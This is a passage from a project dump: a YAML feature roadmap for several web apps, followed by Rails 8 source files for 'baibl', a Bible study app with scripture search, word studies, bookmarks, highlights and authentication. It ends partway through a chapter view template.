        - { name: Post / Article model,                                    status: port }
        - { name: Category model,                                          status: port }
        - { name: Comment model (polymorphic),                             status: port }
        - { name: Like model (polymorphic),                                status: port }
        - { name: multi-domain megablog routing (foodielicio.us etc.),    status: port }
        - { name: public/megablog/private privacy tiers,                   status: port }
        - { name: Author profile,                                          status: missing }
        - { name: RSS / Atom feed,                                         status: missing }
        - { name: structured article metadata (schema.org),                status: missing }
        - { name: semantic search,                                         status: missing }
        - { name: Membership / Subscription / paywall,                     status: missing }
        - { name: AI narration (TTS article),                              status: missing }
        - { name: citation system,                                         status: missing }
        - { name: editorial workflow (draft/review/publish),               status: missing }
        - { name: AI recommendations,                                      status: port }
        - { name: ad-supported + sponsored posts,                          status: planned }
      foodielicious:
        notes: Food vertical, public brand foodielicio.us
        items:
        - { name: Recipe model (structured schema.org),                    status: missing }
        - { name: Ingredient model + metadata,                             status: missing }
        - { name: step-by-step cooking view,                               status: missing }
        - { name: recipe collections / playlists,                          status: missing }
        - { name: rich media gallery (lightGallery.js),                    status: missing }
        - { name: short-form food clips,                                   status: missing }
        - { name: locality-aware restaurant references,                    status: missing }
        - { name: seasonal food guides,                                    status: missing }
      multimedia_pipeline:
        - { name: article → podcast,                                       status: missing }
        - { name: article → summary,                                       status: missing }
        - { name: article → video,                                         status: missing }
        - { name: article → thread,                                        status: missing }
      research_mode:
        - { name: semantic note system,                                    status: planned }
        - { name: source clustering,                                       status: planned }
        - { name: timeline generation,                                     status: planned }
        - { name: knowledge archives,                                      status: planned }

  bsdports:
    title: bsdports
    domain: bsdports.org
    port: 47312
    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
    stack_later: PostgreSQL, pgvector, infrastructure knowledge graph, OpenBSD package intelligence
    deploy_script: DEPLOY/rails/bsdports/bsdports.sh
    app_path: DEPLOY/rails/bsdports/app
    public: true
    features:
      core:
        - { name: Platform (name) — OpenBSD/FreeBSD/NetBSD,                  status: port }
        - { name: Category (name, platform),                                status: port }
        - { name: Port (name, summary, url, description, category, platform), status: port, notes: generator calls model Port not Package }
        - { name: Dependency model,                                         status: missing, notes: described in README but not in generator }
        - { name: SecurityAdvisory model,                                   status: missing, notes: described in README but not in generator }
        - { name: Maintainer model,                                         status: missing }
        - { name: live search on name/summary/description (Hotwire),       status: port }
        - { name: FTP import of real ports tree (OpenBSD/FreeBSD/NetBSD),  status: port }
        - { name: dependency tree visualization,                            status: missing }
        - { name: ports tree scheduled re-import job,                       status: missing }
        - { name: WCAG AAA compliance pass,                                status: missing }
        - { name: AI exploration assistant,                                status: missing }
      planned:
        - { name: semantic package search (pgvector),                      status: planned }
        - { name: infrastructure knowledge graph,                          status: planned }
        - { name: OpenBSD package intelligence,                            status: planned }

  hjerterom:
    title: Hjerterom
    domain: hjerterom.no
    port: 38891
    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd
    stack_later: PostgreSQL, route optimization, reporting jobs, operational forecasting
    deploy_script: DEPLOY/rails/hjerterom/hjerterom.sh
    app_path: DEPLOY/rails/hjerterom/app
    public: true
    features:
      core:
        - { name: Donation / FoodItem intake model,                        status: missing }
        - { name: Box (weekly food parcel) coordination,                   status: missing }
        - { name: Volunteer model (shifts, availability),                  status: missing }
        - { name: shift scheduling + notifications,                        status: missing }
        - { name: Donor model + management,                                status: missing }
        - { name: Beneficiary model + matching,                            status: missing }
        - { name: clothing / toy / book reuse tracking,                    status: missing }
        - { name: distribution route optimization,                         status: missing }
      planned:
        - { name: reporting jobs (Solid Queue),                            status: planned }
        - { name: operational forecasting,                                 status: planned }

rails/baibl/Gemfile

source "https://rubygems.org"
ruby "~> 3.4"

# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 8.1.2"
# The modern asset pipeline for Rails [https://github.com/rails/propshaft]
gem "propshaft"
# Use sqlite3 as the database for Active Record
gem "sqlite3", ">= 2.1"
# Use the Puma web server [https://github.com/puma/puma]
# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]
gem "importmap-rails"
# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]
gem "turbo-rails"
# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]
gem "stimulus-rails"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
gem "jbuilder"

# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
# gem "bcrypt", "~> 3.1.7"

# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]

# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
gem "solid_cache"
gem "solid_queue"
gem "solid_cable"

# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false

# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem "image_processing", "~> 1.2"

group :development, :test do
  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
  gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"

  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
  gem "bundler-audit", require: false

  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]
  gem "brakeman", require: false

  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
  gem "rubocop-rails-omakase", require: false
end

group :development do
  # Use console on exceptions pages [https://github.com/rails/web-console]
  gem "web-console"
end
gem "pagy"
gem "prism", "1.9.0"
gem "falcon"

rails/baibl/README.md

# baibl — scripture and theology graph

Most Bible apps are readers. baibl is a study and knowledge system — semantic search, collaborative annotation, doctrinal mapping, and AI-assisted exploration in one shared theology graph.

## Features

- Semantic scripture search across translations
- Collaborative annotation and commentary threads
- Theme and doctrine cross-referencing
- Historical and linguistic context layers
- AI study assistant

## Stack

Rails 8 · SQLite · Falcon · Hotwire · OpenBSD

## Deploy

```zsh
doas zsh DEPLOY/rails/baibl/baibl.sh

Roadmap

Study groups · reading plans · offline sync · seminary integration


## `rails/baibl/app/controllers/application_controller.rb`
```ruby
# frozen_string_literal: true

class ApplicationController < ActionController::Base
  include Authentication
  include Pagy::Method
  allow_browser versions: :modern
end

rails/baibl/app/controllers/bookmarks_controller.rb

# frozen_string_literal: true

class BookmarksController < ApplicationController
  before_action :require_authentication

  def index
    @pagy, @bookmarks = pagy(Current.user.bookmarks.includes(verse: [:book, :chapter]))
  end

  def create
    verse = Verse.find(params[:verse_id])
    @bookmark = Current.user.bookmarks.find_or_create_by!(verse: verse)
    respond_to do |format|
      format.turbo_stream
      format.json { render json: { status: "ok" } }
    end
  end

  def destroy
    @bookmark = Current.user.bookmarks.find(params[:id])
    @bookmark.destroy!
    respond_to do |format|
      format.turbo_stream
      format.html { redirect_to bookmarks_path }
    end
  end
end

rails/baibl/app/controllers/concerns/authentication.rb

# frozen_string_literal: true

module Authentication
  extend ActiveSupport::Concern

  included do
    before_action :require_authentication
    helper_method :authenticated?
  end

  class_methods do
    def allow_unauthenticated_access(**options)
      skip_before_action :require_authentication, **options
    end
  end

  private
    def authenticated?
      resume_session
    end

    def require_authentication
      resume_session || request_authentication
    end

    def resume_session
      Current.session ||= find_session_by_cookie
    end

    def find_session_by_cookie
      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
    end

    def request_authentication
      session[:return_to_after_authenticating] = request.url
      redirect_to new_session_path
    end

    def after_authentication_url
      session.delete(:return_to_after_authenticating) || root_url
    end

    def start_new_session_for(user)
      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
        Current.session = session
        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
      end
    end

    def terminate_session
      Current.session.destroy
      cookies.delete(:session_id)
    end
end

rails/baibl/app/controllers/highlights_controller.rb

# frozen_string_literal: true

class HighlightsController < ApplicationController
  before_action :require_authentication

  def create
    verse = Verse.find(params[:verse_id])
    @highlight = Current.user.highlights.find_or_initialize_by(verse: verse)
    @highlight.update!(color: params[:color] || "yellow")
    respond_to do |format|
      format.turbo_stream
      format.json { render json: { status: "ok" } }
    end
  end

  def destroy
    @highlight = Current.user.highlights.find(params[:id])
    @highlight.destroy!
    respond_to do |format|
      format.turbo_stream
      format.json { render json: { status: "ok" } }
    end
  end
end

rails/baibl/app/controllers/passwords_controller.rb

# frozen_string_literal: true

class PasswordsController < ApplicationController
  allow_unauthenticated_access
  before_action :set_user_by_token, only: %i[ edit update ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.find_by(email_address: params[:email_address])
      PasswordsMailer.reset(user).deliver_later
    end

    redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
  end

  def edit
  end

  def update
    if @user.update(params.permit(:password, :password_confirmation))
      @user.sessions.destroy_all
      redirect_to new_session_path, notice: "Password has been reset."
    else
      redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
    end
  end

  private
    def set_user_by_token
      @user = User.find_by_password_reset_token!(params[:token])
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
    end
end

rails/baibl/app/controllers/scriptures_controller.rb

# frozen_string_literal: true

class ScripturesController < ApplicationController
  allow_unauthenticated_access only: %i[index book chapter search word_study]

  def index
    @books = Book.ordered
    @daily_verse = Verse.order("RANDOM()").limit(1).first
  end

  def book
    @book     = Book.find_by!(abbreviation: params[:abbreviation])
    @chapters = @book.chapters.order(:number)
  end

  def chapter
    @book    = Book.find_by!(abbreviation: params[:book_abbreviation])
    @chapter = @book.chapters.find_by!(number: params[:number])
    @verses  = @chapter.verses.order(:number).includes(:highlights, :bookmarks)
  end

  def search
    @pagy, @verses = pagy(Verse.full_text_search(params[:q]).includes(:book, :chapter), items: 20)
    render :search
  end

  def word_study
    verse    = Verse.includes(:word_studies, cross_references: :target_verse).find(params[:verse_id])
    position = params[:position].to_i
    @study   = verse.word_studies.find_by(position:)
    @xrefs   = verse.cross_references.includes(target_verse: %i[book chapter])
    @verse   = verse
    render partial: "word_study", locals: { study: @study, xrefs: @xrefs, verse: @verse }
  end
end

rails/baibl/app/controllers/sessions_controller.rb

# frozen_string_literal: true

class SessionsController < ApplicationController
  allow_unauthenticated_access only: %i[ new create ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.authenticate_by(params.permit(:email_address, :password))
      start_new_session_for user
      redirect_to after_authentication_url
    else
      redirect_to new_session_path, alert: "Try another email address or password."
    end
  end

  def destroy
    terminate_session
    redirect_to new_session_path, status: :see_other
  end
end

rails/baibl/app/javascript/application.js

// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails
import "@hotwired/turbo-rails"
import "controllers"

if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")

// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
  const nav = document.querySelector("nav");
  if (!nav) return;
  let y0 = 0;
  document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
  document.addEventListener("touchend", e => {
    const dy = e.changedTouches[0].clientY - y0;
    if (dy > 40) nav.classList.add("nav-visible");
    else if (dy < -40) nav.classList.remove("nav-visible");
  }, { passive: true });
});

rails/baibl/app/javascript/controllers/animated_number_controller.js

import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}

rails/baibl/app/javascript/controllers/application.js

import { Application } from "@hotwired/stimulus"

const application = Application.start()

// Configure Stimulus development experience
application.debug = false
window.Stimulus   = application

export { application }

rails/baibl/app/javascript/controllers/application_controller.js

import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"

export default class extends Controller {
  connect() {
    StimulusReflex.register(this)
  }
}

rails/baibl/app/javascript/controllers/auto_submit_controller.js

import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}

rails/baibl/app/javascript/controllers/character_counter_controller.js

import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}

rails/baibl/app/javascript/controllers/clipboard_controller.js

import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}

rails/baibl/app/javascript/controllers/dialog_controller.js

import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}

rails/baibl/app/javascript/controllers/dropdown_controller.js

import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}

rails/baibl/app/javascript/controllers/hello_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  connect() {
    this.element.textContent = "Hello World!"
  }
}

rails/baibl/app/javascript/controllers/index.js

import { application } from "controllers/application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
import StimulusReflex from "stimulus_reflex"
import ApplicationController from "controllers/application_controller"

eagerLoadControllersFrom("controllers", application)

StimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })

rails/baibl/app/javascript/controllers/notification_controller.js

import Notification from "@stimulus-components/notification"
export default class extends Notification {}

rails/baibl/app/javascript/controllers/sortable_controller.js

import Sortable from "@stimulus-components/sortable"
export default class extends Sortable {}

rails/baibl/app/javascript/controllers/textarea_autogrow_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  connect() {
    this.resize()
    this.element.addEventListener("input", this.resize)
  }

  disconnect() {
    this.element.removeEventListener("input", this.resize)
  }

  resize = () => {
    this.element.style.height = "auto"
    this.element.style.height = `${this.element.scrollHeight}px`
  }
}

rails/baibl/app/javascript/controllers/timeago_controller.js

import TimeAgo from "@stimulus-components/timeago"
export default class extends TimeAgo {}

rails/baibl/app/javascript/controllers/word_study_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  static values = { verseId: Number, position: Number, url: String }

  toggle(e) {
    e.stopPropagation()
    const popover = document.getElementById("word-popover")
    const active  = document.querySelector(".word.active")

    if (active === this.element) {
      this.close(popover)
      return
    }
    if (active) active.classList.remove("active")
    this.element.classList.add("active")
    this.load(popover)
    this.position(popover)
  }

  async load(popover) {
    popover.removeAttribute("hidden")
    popover.innerHTML = "<span class='ws-loading'>…</span>"
    const r = await fetch(this.urlValue, { headers: { Accept: "text/html" } })
    popover.innerHTML = await r.text()
  }

  position(popover) {
    const rect = this.element.getBoundingClientRect()
    const top  = rect.bottom + window.scrollY + 6
    const left = Math.min(rect.left + window.scrollX, window.innerWidth - 320)
    popover.style.top  = `${top}px`
    popover.style.left = `${Math.max(8, left)}px`
  }

  close(popover) {
    this.element.classList.remove("active")
    popover.setAttribute("hidden", "")
    popover.innerHTML = ""
  }

  disconnect() {
    const popover = document.getElementById("word-popover")
    if (popover) { popover.setAttribute("hidden", ""); popover.innerHTML = "" }
  }
}

rails/baibl/app/jobs/analysis_job.rb

# frozen_string_literal: true

class AnalysisJob < ApplicationJob
  queue_as :analysis

  def perform(verse_id)
    verse = Verse.find(verse_id)
    Shared::EventEmitter.call("baibl.analysis.started", verse_id: verse.id) if defined?(Shared::EventEmitter)

    # Hook AI linguistic/context analysis here. Keep output deterministic and reviewable:
    # verse -> analysis request -> Analysis upsert -> Turbo Stream update.

    Shared::EventEmitter.call("baibl.analysis.completed", verse_id: verse.id) if defined?(Shared::EventEmitter)
  rescue StandardError => e
    Shared::EventEmitter.call("baibl.analysis.failed", verse_id:, error: e.message) if defined?(Shared::EventEmitter)
    raise
  end
end

rails/baibl/app/models/annotation.rb

# frozen_string_literal: true

class Annotation < ApplicationRecord
  enum :visibility, { private_note: 0, group_note: 1, public_note: 2 }, default: :private_note

  belongs_to :verse
  belongs_to :user, optional: true

  validates :body, presence: true

  scope :recent, -> { order(created_at: :desc) }
  scope :publicly_visible, -> { where(visibility: :public_note) }

  after_create_commit { broadcast_prepend_later_to "baibl:annotations" }
  after_update_commit { broadcast_replace_later_to "baibl:annotations" }
end

rails/baibl/app/models/book.rb

# frozen_string_literal: true

class Book < ApplicationRecord
  has_many :chapters, dependent: :destroy
  has_many :verses, dependent: :destroy

  TESTAMENTS = %w[Old New].freeze

  validates :name, :abbreviation, :testament, presence: true
  validates :testament, inclusion: { in: TESTAMENTS }
  validates :abbreviation, uniqueness: true

  scope :old_testament, -> { where(testament: "Old").order(:order_index) }
  scope :new_testament, -> { where(testament: "New").order(:order_index) }
  scope :ordered,       -> { order(:order_index) }
end

rails/baibl/app/models/bookmark.rb

# frozen_string_literal: true

class Bookmark < ApplicationRecord
  belongs_to :verse
  belongs_to :user

  validates :verse_id, uniqueness: { scope: :user_id }

  after_create_commit -> { broadcast_append_to [user, "bookmarks"] }
end

rails/baibl/app/models/chapter.rb

# frozen_string_literal: true

class Chapter < ApplicationRecord
  belongs_to :book
  has_many :verses, dependent: :destroy

  validates :number, presence: true
  validates :number, uniqueness: { scope: :book_id }

  scope :ordered, -> { order(:number) }

  def reference = "#{book.name} #{number}"
end

rails/baibl/app/models/cross_reference.rb

# frozen_string_literal: true

class CrossReference < ApplicationRecord
  belongs_to :verse
  belongs_to :target_verse, class_name: "Verse"

  KINDS = %w[lexical thematic parallel typological fulfillment].freeze
  validates :kind, inclusion: { in: KINDS }, allow_nil: true
  validates :verse_id, uniqueness: { scope: :target_verse_id }
end

rails/baibl/app/models/current.rb

# frozen_string_literal: true

class Current < ActiveSupport::CurrentAttributes
  attribute :session
  delegate :user, to: :session, allow_nil: true
end

rails/baibl/app/models/highlight.rb

# frozen_string_literal: true

class Highlight < ApplicationRecord
  belongs_to :verse
  belongs_to :user

  COLORS = %w[yellow green blue pink orange].freeze

  validates :color, inclusion: { in: COLORS }
  validates :verse_id, uniqueness: { scope: :user_id }

  after_create_commit -> { broadcast_replace_to [user, "highlights"] }
end

rails/baibl/app/models/reading_plan.rb

# frozen_string_literal: true

class ReadingPlan < ApplicationRecord
  belongs_to :user, optional: true
  has_many :reading_plan_days, dependent: :destroy

  validates :name, presence: true
  validates :duration_days, numericality: { greater_than: 0 }, allow_nil: true

  def progress
    return 0.0 if reading_plan_days.empty?
    reading_plan_days.where.not(completed_at: nil).count.to_f / reading_plan_days.count
  end
end

rails/baibl/app/models/reading_plan_day.rb

# frozen_string_literal: true

class ReadingPlanDay < ApplicationRecord
  belongs_to :reading_plan
  belongs_to :book

  validates :day_number, presence: true
  validates :day_number, uniqueness: { scope: :reading_plan_id }

  scope :ordered, -> { order(:day_number) }

  def completed? = completed_at.present?
end

rails/baibl/app/models/session.rb

# frozen_string_literal: true

class Session < ApplicationRecord
  belongs_to :user
end

rails/baibl/app/models/user.rb

# frozen_string_literal: true

class User < ApplicationRecord
  has_secure_password
  has_many :sessions, dependent: :destroy
  has_many :highlights, dependent: :destroy
  has_many :bookmarks, dependent: :destroy
  has_many :reading_plans, dependent: :destroy

  normalizes :email_address, with: ->(e) { e.strip.downcase }
end

rails/baibl/app/models/verse.rb

# frozen_string_literal: true

class Verse < ApplicationRecord
  belongs_to :chapter
  belongs_to :book

  has_many :highlights,       dependent: :destroy
  has_many :bookmarks,        dependent: :destroy
  has_many :word_studies,     dependent: :destroy
  has_many :cross_references, dependent: :destroy
  has_many :target_verses,    through: :cross_references

  validates :number, :content, presence: true
  validates :number, uniqueness: { scope: :chapter_id }

  scope :in_chapter, ->(chapter) { where(chapter: chapter).order(:number) }
  scope :full_text_search, ->(q) {
    ids = connection.select_values(sanitize_sql_array(["SELECT rowid FROM verses_fts WHERE verses_fts MATCH ?", q]))
    ids.any? ? where(id: ids) : none
  }

  def reference
    "#{book.name} #{chapter.number}:#{number}"
  end
end

rails/baibl/app/models/word_study.rb

# frozen_string_literal: true

class WordStudy < ApplicationRecord
  belongs_to :verse

  LANGUAGES = %w[hebrew greek arabic].freeze
  validates :position, :word, presence: true
  validates :position, uniqueness: { scope: :verse_id }
  validates :language, inclusion: { in: LANGUAGES }, allow_nil: true

  def strongs_url
    return nil unless strongs.present?
    prefix = strongs.start_with?("H") ? "hebrew" : "greek"
    "https://www.blueletterbible.org/lexicon/#{strongs.downcase}/#{prefix}/wlc/0-1/"
  end
end

rails/baibl/app/reflexes/application_reflex.rb

# frozen_string_literal: true

class ApplicationReflex < StimulusReflex::Reflex
end

rails/baibl/app/services/scripture_search.rb

# frozen_string_literal: true

class ScriptureSearch
  COLUMNS = %w[text reference book_name].freeze

  def self.call(query:, scope: Verse.all)
    new(query:, scope:).call
  end

  def initialize(query:, scope:)
    @query = query.to_s.strip
    @scope = scope
  end

  def call
    return scope.order(:book_index, :chapter, :number) if query.empty?

    if defined?(Shared::LiveSearch)
      Shared::LiveSearch.call(scope, query:, columns: COLUMNS).order(:book_index, :chapter, :number)
    else
      like = "%#{ActiveRecord::Base.sanitize_sql_like(query)}%"
      scope.where("text LIKE :q OR reference LIKE :q OR book_name LIKE :q", q: like).order(:book_index, :chapter, :number)
    end
  end

  private

  attr_reader :query, :scope
end

rails/baibl/app/views/bookmarks/index.html.erb

<% content_for :title, "Bookmarks" %>
<h1>Bookmarks</h1>
<% if @bookmarks.any? %>
  <% @bookmarks.each do |bookmark| %>
    <article id="<%= dom_id(bookmark) %>">
      <p><%= link_to "#{bookmark.verse.book.abbreviation} #{bookmark.verse.chapter.number}:#{bookmark.verse.number}", scripture_chapter_path(bookmark.verse.book.abbreviation, bookmark.verse.chapter.number) %></p>
      <p><%= bookmark.verse.content %></p>
      <% if bookmark.note.present? %><p><%= bookmark.note %></p><% end %>
      <%= button_to "Remove", bookmark, method: :delete %>
    </article>
  <% end %>
  <%= @pagy.series_nav if @pagy.pages > 1 %>
<% else %>
  <p>No bookmarks yet. Bookmark verses while reading.</p>
<% end %>

rails/baibl/app/views/highlights/create.turbo_stream.erb

<%= turbo_stream.replace "highlight_#{@highlight.verse_id}", partial: "highlights/toggle", locals: { verse: @highlight.verse, highlight: @highlight } %>

rails/baibl/app/views/highlights/destroy.turbo_stream.erb

<%= turbo_stream.replace "highlight_#{@highlight.verse_id}", partial: "highlights/toggle", locals: { verse: @highlight.verse, highlight: nil } %>

rails/baibl/app/views/layouts/application.html.erb

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  <meta name="theme-color" content="#1a1a1a">
  <meta name="turbo-cache-control" content="no-preview">
  <title><%= content_for?(:title) ? "#{yield :title} — Baibl" : "Baibl" %></title>
  <meta name="description" content="<%= content_for?(:description) ? yield(:description) : "Baibl — explore and study the Bible. Search passages, read commentaries, and deepen your understanding." %>">
  <link rel="canonical" href="<%= request.original_url.split("?").first %>">
  <meta property="og:site_name" content="Baibl">
  <meta property="og:title" content="<%= content_for?(:title) ? yield(:title) : "Baibl" %>">
  <meta property="og:description" content="<%= content_for?(:description) ? yield(:description) : "Explore and study the Bible. Search passages, read commentaries, and deepen your understanding." %>">
  <meta property="og:url" content="<%= request.original_url %>">
  <meta property="og:type" content="website">
  <meta name="twitter:card" content="summary">
  <meta name="twitter:title" content="<%= content_for?(:title) ? yield(:title) : "Baibl" %>">
  <meta name="twitter:description" content="<%= content_for?(:description) ? yield(:description) : "Explore and study the Bible. Search passages, read commentaries, and deepen your understanding." %>">
  <%= csrf_meta_tags %>
  <%= csp_meta_tag %>
  <link rel="icon" href="/icon.png" type="image/png">
  <link rel="apple-touch-icon" href="/icon.png">
  <%= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
  <%= stylesheet_link_tag :app, "data-turbo-track": "reload" %>
  <link rel="stylesheet" href="/styles/minimal-ui.css">
  <%= yield :json_ld %>
  <%= javascript_importmap_tags %>
  <script type="module" src="/minimal-gesture.js"></script>
</head>
<body class="zen-minimal">
<nav>
  <%= link_to "Baibl", root_path, class: "brand" %>
  <%= link_to "Scripture", scripture_index_path %>
  <%= link_to "Search", scripture_search_path %>
  <%= link_to "Word study", scripture_word_study_path %>
  <% if authenticated? %>
    <%= link_to "Bookmarks", bookmarks_path %>
    <%= link_to "Sign out", session_path, data: { turbo_method: :delete } %>
  <% else %>
    <%= link_to "Sign in", new_session_path %>
  <% end %>
</nav>
<%= tag.p(notice, role: "status", class: "flash-notice") if notice %>
<%= tag.p(alert, role: "alert", class: "flash-alert") if alert %>
<main><%= yield %></main>
</body>
</html>

rails/baibl/app/views/layouts/mailer.html.erb

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <%= yield %>
  </body>
</html>

rails/baibl/app/views/layouts/mailer.text.erb

<%= yield %>

rails/baibl/app/views/passwords/edit.html.erb

<h1>Update your password</h1>

<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>

<%= form_with url: password_path(params[:token]), method: :put do |form| %>
  <p><%= form.password_field :password, required: true, autocomplete: "new-password", placeholder: "Enter new password", maxlength: 72 %></p>
  <p><%= form.password_field :password_confirmation, required: true, autocomplete: "new-password", placeholder: "Repeat new password", maxlength: 72 %></p>
  <p><%= form.submit "Save" %></p>
<% end %>

rails/baibl/app/views/passwords/new.html.erb

<h1>Forgot your password?</h1>

<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>

<%= form_with url: passwords_path do |form| %>
  <p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
  <p><%= form.submit "Email reset instructions" %></p>
<% end %>

rails/baibl/app/views/pwa/manifest.json.erb

{
  "name": "Baibl",
  "short_name": "Baibl",
  "icons": [
    {
      "src": "/icon-192.png",
      "type": "image/png",
      "sizes": "192x192"
    },
    {
      "src": "/icon.png",
      "type": "image/png",
      "sizes": "512x512"
    },
    {
      "src": "/icon.png",
      "type": "image/png",
      "sizes": "512x512",
      "purpose": "maskable"
    }
  ],
  "start_url": "/",
  "display": "standalone",
  "scope": "/",
  "description": "Dead Sea Scrolls, Old and New Testament, and the Arabic Quran — sacred texts in one place.",
  "theme_color": "#1a1a1a",
  "background_color": "#1a1a1a"
}

rails/baibl/app/views/pwa/service-worker.js

const CACHE   = "baibl-v2"
const OFFLINE = "/offline"

self.addEventListener("install", e => {
  e.waitUntil(caches.open(CACHE).then(c => c.addAll(["/", OFFLINE])))
  self.skipWaiting()
})

self.addEventListener("activate", e => {
  e.waitUntil(caches.keys().then(keys =>
    Promise.all(keys.filter(k => k !== CACHE).map(k => caches.delete(k)))
  ))
  self.clients.claim()
})

self.addEventListener("fetch", e => {
  if (e.request.method !== "GET") return
  const url = new URL(e.request.url)
  const isNav = e.request.mode === "navigate"
  const isAsset = /\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)
  if (isAsset) {
    e.respondWith(caches.match(e.request).then(cached => cached || fetch(e.request).then(res => {
      const clone = res.clone()
      caches.open(CACHE).then(c => c.put(e.request, clone))
      return res
    })))
  } else if (isNav) {
    e.respondWith(fetch(e.request).catch(() => caches.match(OFFLINE)))
  }
})

rails/baibl/app/views/scriptures/_word_study.html.erb

<div class="ws-header">
  <span class="ws-ref"><%= verse.reference %></span>
  <% if study %>
    <span class="ws-word"><%= study.word %></span>
    <% if study.original.present? %>
      <span class="ws-original" lang="<%= study.language %>"><%= study.original %></span>
      <% if study.transliteration.present? %>
        <em class="ws-translit"><%= study.transliteration %></em>
      <% end %>
    <% end %>
    <% if study.strongs.present? %>
      <a class="ws-strongs" href="<%= study.strongs_url %>" target="_blank" rel="noopener"><%= study.strongs %></a>
    <% end %>
  <% else %>
    <span class="ws-empty">No word study yet</span>
  <% end %>
</div>
<% if study&.definition.present? %>
  <p class="ws-definition"><%= study.definition %></p>
<% end %>
<% if xrefs.any? %>
  <div class="ws-xrefs">
    <h4>Cross-references</h4>
    <ul>
      <% xrefs.each do |xr| %>
        <li>
          <% tv = xr.target_verse %>
          <%= link_to tv.reference, scripture_chapter_path(tv.book.abbreviation, tv.chapter.number) + "#v#{tv.number}" %>
          <% if xr.kind.present? %><span class="xr-kind"><%= xr.kind %></span><% end %>
          <blockquote><%= truncate(tv.content, length: 120) %></blockquote>
        </li>
      <% end %>
    </ul>
  </div>
<% end %>

rails/baibl/app/views/scriptures/book.html.erb

<% content_for :title, @book.name %>
<h1><%= @book.name %></h1>
<nav>
  <% @chapters.each do |chapter| %>
    <%= link_to chapter.number, scripture_chapter_path(@book.abbreviation, chapter.number) %>
  <% end %>
</nav>

rails/baibl/app/views/scriptures/chapter.html.erb

<% content_for :title, "#{@book.name} #{@chapter.number}" %>
<header>
  <h1><%= @book.name %> <%= @chapter.number %></h1>
  <nav>
    <% if @prev_chapter %>
      <%= link_to "← #{@book.abbreviation} #{@prev_chapter}", scripture_chapter_path(@book.abbreviation, @prev_chapter) %>
    <% end %>
    <%= link_to @book.name, scripture_book_path(@book.abbreviation) %>
    <% if @next_chapter %>
      <%= link_to "#{@book.abbreviation} #{@next_chapter} →", scripture_chapter_path(@book.abbreviation, @next_chapter) %>
    <% end %>
  </nav>
</header>

<div id="word-popover" class="word-popover" hidden></div>

<section class="chapter-text">
  <% @verses.each do |verse| %>
    <span id="v<%= verse.number %>" class="verse">
      <sup class="verse-num"><%= verse.number %></sup>
      <% verse.content.split(/\s+/).each_with_index do |token, pos| %>
        <span class="word"
              data-controller="word-study"
              data-action="click->word-study#toggle"
              data-word-study-verse-id-value="<%= verse.id %>"
              data-word-study-position-value="<%= pos %>"
              data-word-study-url-value="<%= scripture_word_study_path(verse_id: verse.id, position: pos) %>"><%= token %></span>
      <% end %>
      <% if authenticated? %>
        <% highlight = @highlights&.[](verse.id) %>
        <% bookmark  = @bookmarks&.[](verse.id) %>
        <%= button_to highlight ? "★" : "☆", highlights_path(verse_id: verse.id), method: highlight ? :delete : :post, params: highlight ? { id: highlight.id } : {}, class: ("active" if highlight), data: { turbo_stream: true } %>
